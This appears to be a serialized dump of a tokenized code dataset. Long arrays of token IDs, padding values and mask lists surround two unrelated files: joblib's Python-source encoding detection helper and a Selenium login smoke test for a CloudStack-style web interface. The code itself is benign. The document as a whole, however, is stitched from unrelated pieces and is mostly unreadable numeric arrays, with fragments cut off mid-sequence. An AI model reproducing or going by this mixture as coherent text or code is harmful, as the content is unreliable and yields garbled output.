372,
1625,
63,
1483,
14,
6199,
63,
1045,
63,
885,
8,
7033,
12,
3073,
272,
916,
1228,
8,
20082,
12,
6014,
304,
489,
372,
6014,
8,
881,
1852,
63,
20082,
63,
7033,
8,
20082,
14,
928,
395,
1852,
63,
20082,
63,
7033,
8,
20082,
14,
2379,
395,
881,
1852,
63,
20082,
63,
7033,
8,
20082,
14,
2926,
430,
272,
587,
26,
489,
372,
14854,
819,
340,
1228,
8,
5224,
63,
1650,
12,
2008,
304,
272,
372,
2008,
8,
1875,
63,
20082,
63,
7033,
8,
20082,
9,
367,
14854,
315,
6014,
63,
1650,
9,
523,
587,
26,
272,
372,
1852,
63,
20082,
63,
7033,
8,
5224,
63,
1650,
9,
421,
199,
3,
5679,
499,
36,
26528,
2345,
574,
543,
1373,
26528,
6240,
436,
543,
6917,
199,
3,
1338,
12,
19147,
465,
6032,
2366,
5548,
436,
465,
19115,
11,
1459,
14,
199,
26900,
63,
50,
14083,
1149,
63,
52,
17850,
63,
18,
36,
275,
3474,
66,
7,
65,
297,
330,
7,
66,
995,
359,
66,
7,
67,
297,
330,
5121,
297,
330,
7,
69,
995,
359,
66,
7,
70,
995,
990,
1169,
359,
66,
7,
71,
6538,
199,
26900,
63,
50,
14083,
1149,
63,
52,
17850,
63,
18,
36,
63,
24933,
5930,
275,
359,
16,
12,
499,
12,
959,
12,
1227,
12,
1227,
12,
1520,
61,
199,
26900,
63,
50,
14083,
1149,
63,
52,
17850,
63,
18,
36,
63,
15514,
275,
788,
65,
297,
283,
66,
297,
283,
67,
297,
283,
68,
297,
283,
69,
297,
283,
70,
297,
283,
71,
418,
199,
199,
3,
5679,
841,
36,
26528,
2345,
574,
12,
543,
2877,
26528,
7365,
436,
543,
1338,
199,
3,
7447,
2215,
365,
359,
18,
467,
19147,
465,
6032,
2366,
5548,
436,
465,
19115,
11,
1459,
14,
199,
26900,
63,
50,
14083,
1149,
63,
52,
17850,
63,
20,
36,
275,
359,
272,
359,
2476,
755,
327,
14059,
59,
16,
61,
267,
3474,
17,
12,
499,
467,
359,
19,
12,
841,
467,
359,
21,
12,
1227,
2365,
3698,
327,
14059,
59,
16,
1527,
16,
61,
267,
3474,
23,
12,
1695,
467,
359,
25,
12,
1616,
467,
359,
845,
12,
3144,
15559,
755,
327,
14059,
59,
16,
1527,
17,
61,
272,
990,
32542,
327,
14059,
59,
17,
61,
272,
359,
2476,
755,
327,
14059,
59,
18,
61,
267,
3474,
969,
12,
4329,
467,
359,
1046,
12,
3193,
467,
359,
1196,
12,
6155,
15559,
259,
327,
14059,
59,
18,
1527,
16,
61,
272,
359,
2476,
755,
327,
14059,
59,
19,
61,
267,
3474,
1167,
12,
3388,
20737,
12793,
327,
14059,
59,
19,
1527
] |
[
1898,
14894,
710,
9134,
6642,
14,
2900,
5924,
5702,
14,
199,
3,
199,
3,
3909,
1334,
314,
3668,
844,
12,
3394,
499,
14,
16,
334,
1589,
298,
3761,
3547,
199,
3,
1265,
1443,
440,
675,
642,
570,
871,
315,
4151,
543,
314,
844,
14,
199,
3,
2047,
1443,
3332,
282,
1331,
402,
314,
844,
737,
199,
3,
199,
3,
258,
1455,
921,
1544,
14,
3796,
14,
1308,
15,
2383,
15,
3961,
13,
18,
14,
16,
199,
3,
199,
3,
4158,
1415,
701,
3964,
4179,
503,
4193,
370,
315,
3575,
12,
2032,
199,
3,
1854,
1334,
314,
844,
365,
1854,
641,
376,
298,
1179,
2281,
2,
4207,
12,
199,
3,
2428,
2990,
1549,
4217,
1634,
1821,
3826,
12,
1902,
4056,
503,
2478,
14,
199,
3,
1666,
314,
844,
367,
314,
2488,
2637,
4210,
3443,
436,
199,
3,
4204,
1334,
314,
844,
14,
199,
3,
11148,
199,
624,
2925,
367,
10919,
63,
7522,
14,
16008,
14,
1548,
14,
1483,
14,
24359,
63,
3128,
1041,
199,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
636,
2443,
363,
492,
4629,
199,
504,
636,
2443,
363,
492,
870,
63,
1593,
199,
199,
646,
295,
199,
199,
504,
2853,
76,
14,
4776,
492,
29526,
199,
646,
2680,
465,
980,
199,
199,
504,
3228,
14,
1548,
14,
10283,
492,
1067,
199,
504,
3228,
14,
1548,
14,
4857,
492,
4413,
63,
411,
199,
504,
3228,
14,
1548,
14,
4857,
492,
6674,
199,
504,
3228,
14,
1548,
14,
4857,
492,
2552,
199,
504,
3228,
14,
1548,
14,
4857,
492,
4156,
199,
504,
3228,
14,
1548,
14,
4857,
492,
511,
63,
1974,
199,
504,
3228,
14,
1548,
14,
1483,
492,
1625,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
492,
26528,
63,
3702,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
492,
26528,
63,
3442,
63,
1483,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
492,
26528,
63,
3128,
63,
585,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
492,
26528,
63,
396,
63,
1974,
199,
504,
3228,
14,
1548,
14,
1483,
14,
24359,
14,
24359,
63,
3128,
492,
820,
24843,
3861,
199,
504,
3228,
14,
1548,
14,
3246,
492,
31141,
421,
199,
533,
485,
14034,
6437,
8,
785,
304,
523,
408,
4433,
370,
6982,
2368,
367,
636,
6095,
4343,
819,
11028,
26,
485,
14034,
6437,
3430,
28,
3684,
19109,
6014,
63,
1650,
2018,
12821,
367,
665,
3684,
10827,
523,
408,
819,
347,
636,
6095,
721,
277,
12,
6014,
63,
1650,
304,
272,
372,
6014,
63,
1650,
421,
199,
51,
2507,
37,
63,
8248,
540,
275,
485,
14034,
6437,
342,
421,
199,
318,
485,
1875,
63,
3128,
63,
5224,
63,
1650,
8,
5224,
63,
1650,
12,
675,
63,
4083,
29,
549,
304,
523,
408,
55,
8146,
1006,
9446,
315,
376,
9243,
6014,
3158,
336,
15,
282,
2345,
14,
819,
961,
805,
365,
1202,
370,
1720,
511,
23647,
1380,
314,
6014,
3158,
3509,
523,
10519,
12,
7830,
2419,
9446,
14,
819,
3033,
26,
272,
6014,
63,
1650,
26,
710,
9243,
6014,
3158,
14,
272,
675,
63,
4083,
26,
982,
2549,
12,
2066,
4816,
1924,
3000,
543,
282,
2833,
14,
4083,
14,
221,
982,
3055,
12,
489,
2066,
4816,
1924,
3000,
543,
282,
2833,
14,
6199,
14,
819,
1803,
26,
272,
437,
1331,
402,
6014,
63,
1650,
12,
1325,
543,
1924,
3000,
284,
8717,
543,
2833,
14,
4083,
8,
73,
680,
523,
408,
819,
347,
1852,
63,
20082,
63,
7033,
8,
20082,
304,
272,
340,
1228,
8,
20082,
12,
1109,
304,
489,
6917,
275,
4413,
63,
411,
14,
4083,
8,
20082,
9,
489,
340,
675,
63,
4083,
26,
267,
372,
6917,
489,
587,
26,
267,
372,
1625,
63,
1483,
14,
6199,
63,
1045,
63,
885,
8,
7033,
12,
3073,
272,
916,
1228,
8,
20082,
12,
6014,
304,
489,
372,
6014,
8,
881,
1852,
63,
20082,
63,
7033,
8,
20082,
14,
928,
395,
1852,
63,
20082,
63,
7033,
8,
20082,
14,
2379,
395,
881,
1852,
63,
20082,
63,
7033,
8,
20082,
14,
2926,
430,
272,
587,
26,
489,
372,
14854,
819,
340,
1228,
8,
5224,
63,
1650,
12,
2008,
304,
272,
372,
2008,
8,
1875,
63,
20082,
63,
7033,
8,
20082,
9,
367,
14854,
315,
6014,
63,
1650,
9,
523,
587,
26,
272,
372,
1852,
63,
20082,
63,
7033,
8,
5224,
63,
1650,
9,
421,
199,
3,
5679,
499,
36,
26528,
2345,
574,
543,
1373,
26528,
6240,
436,
543,
6917,
199,
3,
1338,
12,
19147,
465,
6032,
2366,
5548,
436,
465,
19115,
11,
1459,
14,
199,
26900,
63,
50,
14083,
1149,
63,
52,
17850,
63,
18,
36,
275,
3474,
66,
7,
65,
297,
330,
7,
66,
995,
359,
66,
7,
67,
297,
330,
5121,
297,
330,
7,
69,
995,
359,
66,
7,
70,
995,
990,
1169,
359,
66,
7,
71,
6538,
199,
26900,
63,
50,
14083,
1149,
63,
52,
17850,
63,
18,
36,
63,
24933,
5930,
275,
359,
16,
12,
499,
12,
959,
12,
1227,
12,
1227,
12,
1520,
61,
199,
26900,
63,
50,
14083,
1149,
63,
52,
17850,
63,
18,
36,
63,
15514,
275,
788,
65,
297,
283,
66,
297,
283,
67,
297,
283,
68,
297,
283,
69,
297,
283,
70,
297,
283,
71,
418,
199,
199,
3,
5679,
841,
36,
26528,
2345,
574,
12,
543,
2877,
26528,
7365,
436,
543,
1338,
199,
3,
7447,
2215,
365,
359,
18,
467,
19147,
465,
6032,
2366,
5548,
436,
465,
19115,
11,
1459,
14,
199,
26900,
63,
50,
14083,
1149,
63,
52,
17850,
63,
20,
36,
275,
359,
272,
359,
2476,
755,
327,
14059,
59,
16,
61,
267,
3474,
17,
12,
499,
467,
359,
19,
12,
841,
467,
359,
21,
12,
1227,
2365,
3698,
327,
14059,
59,
16,
1527,
16,
61,
267,
3474,
23,
12,
1695,
467,
359,
25,
12,
1616,
467,
359,
845,
12,
3144,
15559,
755,
327,
14059,
59,
16,
1527,
17,
61,
272,
990,
32542,
327,
14059,
59,
17,
61,
272,
359,
2476,
755,
327,
14059,
59,
18,
61,
267,
3474,
969,
12,
4329,
467,
359,
1046,
12,
3193,
467,
359,
1196,
12,
6155,
15559,
259,
327,
14059,
59,
18,
1527,
16,
61,
272,
359,
2476,
755,
327,
14059,
59,
19,
61,
267,
3474,
1167,
12,
3388,
20737,
12793,
327,
14059,
59,
19,
1527,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
jm-begon/scikit-learn
|
sklearn/externals/joblib/_memory_helpers.py
|
303
|
3605
|
try:
# Available in Python 3
from tokenize import open as open_py_source
except ImportError:
# Copied from python3 tokenize
from codecs import lookup, BOM_UTF8
import re
from io import TextIOWrapper, open
cookie_re = re.compile("coding[:=]\s*([-\w.]+)")
def _get_normal_name(orig_enc):
"""Imitates get_normal_name in tokenizer.c."""
# Only care about the first 12 characters.
enc = orig_enc[:12].lower().replace("_", "-")
if enc == "utf-8" or enc.startswith("utf-8-"):
return "utf-8"
if enc in ("latin-1", "iso-8859-1", "iso-latin-1") or \
enc.startswith(("latin-1-", "iso-8859-1-", "iso-latin-1-")):
return "iso-8859-1"
return orig_enc
def _detect_encoding(readline):
"""
The detect_encoding() function is used to detect the encoding that
should be used to decode a Python source file. It requires one
argment, readline, in the same way as the tokenize() generator.
It will call readline a maximum of twice, and return the encoding used
(as a string) and a list of any lines (left as bytes) it has read in.
It detects the encoding from the presence of a utf-8 bom or an encoding
cookie as specified in pep-0263. If both a bom and a cookie are
present, but disagree, a SyntaxError will be raised. If the encoding
cookie is an invalid charset, raise a SyntaxError. Note that if a
utf-8 bom is found, 'utf-8-sig' is returned.
If no encoding is specified, then the default of 'utf-8' will be
returned.
"""
bom_found = False
encoding = None
default = 'utf-8'
def read_or_stop():
try:
return readline()
except StopIteration:
return b''
def find_cookie(line):
try:
line_string = line.decode('ascii')
except UnicodeDecodeError:
return None
matches = cookie_re.findall(line_string)
if not matches:
return None
encoding = _get_normal_name(matches[0])
try:
codec = lookup(encoding)
except LookupError:
# This behaviour mimics the Python interpreter
raise SyntaxError("unknown encoding: " + encoding)
if bom_found:
if codec.name != 'utf-8':
# This behaviour mimics the Python interpreter
raise SyntaxError('encoding problem: utf-8')
encoding += '-sig'
return encoding
first = read_or_stop()
if first.startswith(BOM_UTF8):
bom_found = True
first = first[3:]
default = 'utf-8-sig'
if not first:
return default, []
encoding = find_cookie(first)
if encoding:
return encoding, [first]
second = read_or_stop()
if not second:
return default, [first]
encoding = find_cookie(second)
if encoding:
return encoding, [first, second]
return default, [first, second]
def open_py_source(filename):
"""Open a file in read only mode using the encoding detected by
detect_encoding().
"""
buffer = open(filename, 'rb')
encoding, lines = _detect_encoding(buffer.readline)
buffer.seek(0)
text = TextIOWrapper(buffer, encoding, line_buffering=True)
text.mode = 'r'
return text
|
bsd-3-clause
|
[
893,
26,
272,
327,
23840,
315,
2018,
650,
272,
687,
13343,
492,
1551,
465,
1551,
63,
647,
63,
1365,
199,
199,
2590,
3545,
26,
272,
327,
29622,
5299,
687,
2366,
19,
13343,
272,
687,
6010,
492,
4237,
12,
17720,
63,
6610,
24,
272,
492,
295,
272,
687,
5890,
492,
4516,
29365,
12,
1551,
272,
5494,
63,
264,
275,
295,
14,
2014,
480,
1523,
1491,
29,
7272,
83,
10,
779,
2696,
87,
32455,
6320,
339,
347,
485,
362,
63,
3302,
63,
354,
8,
2981,
63,
10945,
304,
267,
408,
41,
1147,
2335,
664,
63,
3302,
63,
354,
315,
14803,
14,
67,
1041,
267,
327,
5972,
10296,
3595,
314,
1642,
3144,
4110,
14,
267,
12011,
275,
2306,
63,
10945,
1491,
713,
1055,
2325,
1252,
1814,
11008,
401,
3905,
531,
267,
340,
12011,
508,
298,
1624,
13,
24,
2,
503,
12011,
14,
2460,
480,
1624,
13,
24,
13,
2349,
288,
372,
298,
1624,
13,
24,
2,
267,
340,
12011,
315,
1689,
10378,
13,
17,
401,
298,
4595,
13,
4830,
13,
17,
401,
298,
4595,
13,
10378,
13,
17,
531,
503,
971,
1779,
12011,
14,
2460,
9313,
10378,
13,
17,
13,
401,
298,
4595,
13,
4830,
13,
17,
13,
401,
298,
4595,
13,
10378,
13,
17,
13,
14150,
288,
372,
298,
4595,
13,
4830,
13,
17,
2,
267,
372,
2306,
63,
10945,
339,
347,
485,
13552,
63,
2991,
8,
6407,
304,
267,
408,
267,
710,
9696,
63,
2991,
342,
805,
365,
1202,
370,
9696,
314,
2644,
626,
267,
1077,
506,
1202,
370,
4849,
282,
2018,
1350,
570,
14,
221,
2779,
5074,
1373,
267,
1680,
434,
12,
14441,
12,
315,
314,
2011,
4340,
465,
314,
13343,
342,
4306,
14,
398,
2779,
911,
1240,
14441,
282,
5696,
402,
13373,
12,
436,
372,
314,
2644,
1202,
267,
334,
305,
282,
1059,
9,
436,
282,
769,
402,
1263,
2385,
334,
3039,
465,
2783,
9,
652,
965,
1586,
315,
14,
398,
2779,
477,
28853,
314,
2644,
687,
314,
20024,
402,
282,
2774,
13,
24,
17190,
503,
376,
2644,
267,
5494,
465,
2013,
315,
22602,
13,
996,
2766,
14,
221,
982,
3865,
282,
17190,
436,
282,
5494,
787,
267,
3451,
12,
1325,
2153,
643,
850,
12,
282,
12053,
911,
506,
4915,
14,
221,
982,
314,
2644,
267,
5494,
365,
376,
3866,
5960,
12,
746,
282,
12053,
14,
221,
3390,
626,
340,
282,
267,
2774,
13,
24,
17190,
365,
1911,
12,
283,
1624,
13,
24,
13,
4093,
7,
365,
2138,
14,
398,
982,
949,
2644,
365,
2013,
12,
2066,
314,
849,
402,
283,
1624,
13,
24,
7,
911,
506,
267,
2138,
14,
267,
408,
267,
17190,
63,
4214,
275,
756,
267,
2644,
275,
488,
267,
849,
275,
283,
1624,
13,
24,
7,
398,
347,
1586,
63,
269,
63,
2379,
837,
288,
862,
26,
355,
372,
14441,
342,
288,
871,
10852,
26,
355,
372,
330,
891,
398,
347,
2342,
63,
5306,
8,
604,
304,
288,
862,
26,
355,
1004,
63,
875,
275,
1004,
14,
2708,
360,
4371,
358,
288,
871,
18965,
26,
355,
372,
488,
953,
4450,
275,
5494,
63,
264,
14,
6452,
8,
604,
63,
875,
9,
288,
340,
440,
4450,
26,
355,
372,
488,
288,
2644,
275,
485,
362,
63,
3302,
63,
354,
8,
6742,
59,
16,
566,
288,
862,
26,
355,
9076,
275,
4237,
8,
2991,
9,
288,
871,
19021,
26,
355,
327,
961,
13942,
24102,
2932,
314,
2018,
12693,
355,
746,
12053,
480,
5187,
2644,
26,
298,
435,
2644,
9,
953,
340,
17190,
63,
4214,
26,
355,
340,
9076,
14,
354,
1137,
283,
1624,
13,
24,
356,
490,
327,
961,
13942,
24102,
2932,
314,
2018,
12693,
490,
746,
12053,
360,
2991,
5160,
26,
2774,
13,
24,
358,
355,
2644,
847,
2475,
4093,
7,
288,
372,
2644,
398,
1642,
275,
1586,
63,
269,
63,
2379,
342,
267,
340,
1642,
14,
2460,
8,
19550,
63,
6610,
24,
304,
288,
17190,
63,
4214,
275,
715,
288,
1642,
275,
1642,
59,
19,
2938,
288,
849,
275,
283,
1624,
13,
24,
13,
4093,
7,
267,
340,
440,
1642,
26,
288,
372,
849,
12,
942,
398,
2644,
275,
2342,
63,
5306,
8,
2246,
9,
267,
340,
2644,
26,
288,
372,
2644,
12,
359,
2246,
61,
398,
3499,
275,
1586,
63,
269,
63,
2379,
342,
267,
340,
440,
3499,
26,
288,
372,
849,
12,
359,
2246,
61,
398,
2644,
275,
2342,
63,
5306,
8,
4375,
9,
267,
340,
2644,
26,
288,
372,
2644,
12,
359,
2246,
12,
3499,
61,
398,
372,
849,
12,
359,
2246,
12,
3499,
61,
339,
347,
1551,
63,
647,
63,
1365,
8,
1501,
304,
267,
408,
4299,
282,
570,
315,
1586,
1454,
818,
1808,
314,
2644,
10501,
701,
267,
9696,
63,
2991,
1252,
267,
408,
267,
3335,
275,
1551,
8,
1501,
12,
283,
4848,
358,
267,
2644,
12,
2385,
275,
485,
13552,
63,
2991,
8,
2738,
14,
6407,
9,
267,
3335,
14,
5507,
8,
16,
9,
267,
1318,
275,
4516,
29365,
8,
2738,
12,
2644,
12,
1004,
63,
2738,
316,
29,
549,
9,
267,
1318,
14,
632,
275,
283,
82,
7,
267,
372,
1318,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
26,
272,
327,
23840,
315,
2018,
650,
272,
687,
13343,
492,
1551,
465,
1551,
63,
647,
63,
1365,
199,
199,
2590,
3545,
26,
272,
327,
29622,
5299,
687,
2366,
19,
13343,
272,
687,
6010,
492,
4237,
12,
17720,
63,
6610,
24,
272,
492,
295,
272,
687,
5890,
492,
4516,
29365,
12,
1551,
272,
5494,
63,
264,
275,
295,
14,
2014,
480,
1523,
1491,
29,
7272,
83,
10,
779,
2696,
87,
32455,
6320,
339,
347,
485,
362,
63,
3302,
63,
354,
8,
2981,
63,
10945,
304,
267,
408,
41,
1147,
2335,
664,
63,
3302,
63,
354,
315,
14803,
14,
67,
1041,
267,
327,
5972,
10296,
3595,
314,
1642,
3144,
4110,
14,
267,
12011,
275,
2306,
63,
10945,
1491,
713,
1055,
2325,
1252,
1814,
11008,
401,
3905,
531,
267,
340,
12011,
508,
298,
1624,
13,
24,
2,
503,
12011,
14,
2460,
480,
1624,
13,
24,
13,
2349,
288,
372,
298,
1624,
13,
24,
2,
267,
340,
12011,
315,
1689,
10378,
13,
17,
401,
298,
4595,
13,
4830,
13,
17,
401,
298,
4595,
13,
10378,
13,
17,
531,
503,
971,
1779,
12011,
14,
2460,
9313,
10378,
13,
17,
13,
401,
298,
4595,
13,
4830,
13,
17,
13,
401,
298,
4595,
13,
10378,
13,
17,
13,
14150,
288,
372,
298,
4595,
13,
4830,
13,
17,
2,
267,
372,
2306,
63,
10945,
339,
347,
485,
13552,
63,
2991,
8,
6407,
304,
267,
408,
267,
710,
9696,
63,
2991,
342,
805,
365,
1202,
370,
9696,
314,
2644,
626,
267,
1077,
506,
1202,
370,
4849,
282,
2018,
1350,
570,
14,
221,
2779,
5074,
1373,
267,
1680,
434,
12,
14441,
12,
315,
314,
2011,
4340,
465,
314,
13343,
342,
4306,
14,
398,
2779,
911,
1240,
14441,
282,
5696,
402,
13373,
12,
436,
372,
314,
2644,
1202,
267,
334,
305,
282,
1059,
9,
436,
282,
769,
402,
1263,
2385,
334,
3039,
465,
2783,
9,
652,
965,
1586,
315,
14,
398,
2779,
477,
28853,
314,
2644,
687,
314,
20024,
402,
282,
2774,
13,
24,
17190,
503,
376,
2644,
267,
5494,
465,
2013,
315,
22602,
13,
996,
2766,
14,
221,
982,
3865,
282,
17190,
436,
282,
5494,
787,
267,
3451,
12,
1325,
2153,
643,
850,
12,
282,
12053,
911,
506,
4915,
14,
221,
982,
314,
2644,
267,
5494,
365,
376,
3866,
5960,
12,
746,
282,
12053,
14,
221,
3390,
626,
340,
282,
267,
2774,
13,
24,
17190,
365,
1911,
12,
283,
1624,
13,
24,
13,
4093,
7,
365,
2138,
14,
398,
982,
949,
2644,
365,
2013,
12,
2066,
314,
849,
402,
283,
1624,
13,
24,
7,
911,
506,
267,
2138,
14,
267,
408,
267,
17190,
63,
4214,
275,
756,
267,
2644,
275,
488,
267,
849,
275,
283,
1624,
13,
24,
7,
398,
347,
1586,
63,
269,
63,
2379,
837,
288,
862,
26,
355,
372,
14441,
342,
288,
871,
10852,
26,
355,
372,
330,
891,
398,
347,
2342,
63,
5306,
8,
604,
304,
288,
862,
26,
355,
1004,
63,
875,
275,
1004,
14,
2708,
360,
4371,
358,
288,
871,
18965,
26,
355,
372,
488,
953,
4450,
275,
5494,
63,
264,
14,
6452,
8,
604,
63,
875,
9,
288,
340,
440,
4450,
26,
355,
372,
488,
288,
2644,
275,
485,
362,
63,
3302,
63,
354,
8,
6742,
59,
16,
566,
288,
862,
26,
355,
9076,
275,
4237,
8,
2991,
9,
288,
871,
19021,
26,
355,
327,
961,
13942,
24102,
2932,
314,
2018,
12693,
355,
746,
12053,
480,
5187,
2644,
26,
298,
435,
2644,
9,
953,
340,
17190,
63,
4214,
26,
355,
340,
9076,
14,
354,
1137,
283,
1624,
13,
24,
356,
490,
327,
961,
13942,
24102,
2932,
314,
2018,
12693,
490,
746,
12053,
360,
2991,
5160,
26,
2774,
13,
24,
358,
355,
2644,
847,
2475,
4093,
7,
288,
372,
2644,
398,
1642,
275,
1586,
63,
269,
63,
2379,
342,
267,
340,
1642,
14,
2460,
8,
19550,
63,
6610,
24,
304,
288,
17190,
63,
4214,
275,
715,
288,
1642,
275,
1642,
59,
19,
2938,
288,
849,
275,
283,
1624,
13,
24,
13,
4093,
7,
267,
340,
440,
1642,
26,
288,
372,
849,
12,
942,
398,
2644,
275,
2342,
63,
5306,
8,
2246,
9,
267,
340,
2644,
26,
288,
372,
2644,
12,
359,
2246,
61,
398,
3499,
275,
1586,
63,
269,
63,
2379,
342,
267,
340,
440,
3499,
26,
288,
372,
849,
12,
359,
2246,
61,
398,
2644,
275,
2342,
63,
5306,
8,
4375,
9,
267,
340,
2644,
26,
288,
372,
2644,
12,
359,
2246,
12,
3499,
61,
398,
372,
849,
12,
359,
2246,
12,
3499,
61,
339,
347,
1551,
63,
647,
63,
1365,
8,
1501,
304,
267,
408,
4299,
282,
570,
315,
1586,
1454,
818,
1808,
314,
2644,
10501,
701,
267,
9696,
63,
2991,
1252,
267,
408,
267,
3335,
275,
1551,
8,
1501,
12,
283,
4848,
358,
267,
2644,
12,
2385,
275,
485,
13552,
63,
2991,
8,
2738,
14,
6407,
9,
267,
3335,
14,
5507,
8,
16,
9,
267,
1318,
275,
4516,
29365,
8,
2738,
12,
2644,
12,
1004,
63,
2738,
316,
29,
549,
9,
267,
1318,
14,
632,
275,
283,
82,
7,
267,
372,
1318,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
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8432
|
# Licensed to the Apache Software Foundation (ASF) under one
# or more contributor license agreements. See the NOTICE file
# distributed with this work for additional information
# regarding copyright ownership. The ASF licenses this file
# to you under the Apache License, Version 2.0 (the
# "License"); you may not use this file except in compliance
# with the License. You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
import unittest
import sys, os, time
import json
sys.path.append('./')
import browser.firefox as firefox
import cspages.login.loginpage as loginpage
import common.shared as shared
from cstests.smoketests.smokecfg import smokecfg
# from cstests.smoketests import smokecfg as smokecfg
class TestCSLoginLogout(unittest.TestCase):
def setUp(self):
# Create a new instance of the Firefox browser
self.browser = firefox.Firefox('firefox')
def tearDown(self):
self.browser.quit_browser()
def test_success(self):
self.browser.set_url(smokecfg['cssite'])
self.loginpage = loginpage.LoginPage(self.browser.get_browser())
# wait for at most 5 minutes, in case we have an anoyingly slow server
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'select-language', waittime = 300)
# language selection must be done before username and password
self.loginpage.set_language(smokecfg['language'])
shared.Shared.wait_for_element(self.browser.get_browser(), 'class_name', 'fields', waittime = 300)
self.loginpage.set_username(smokecfg['username'])
self.loginpage.set_password(smokecfg['password'])
self.loginpage.login()
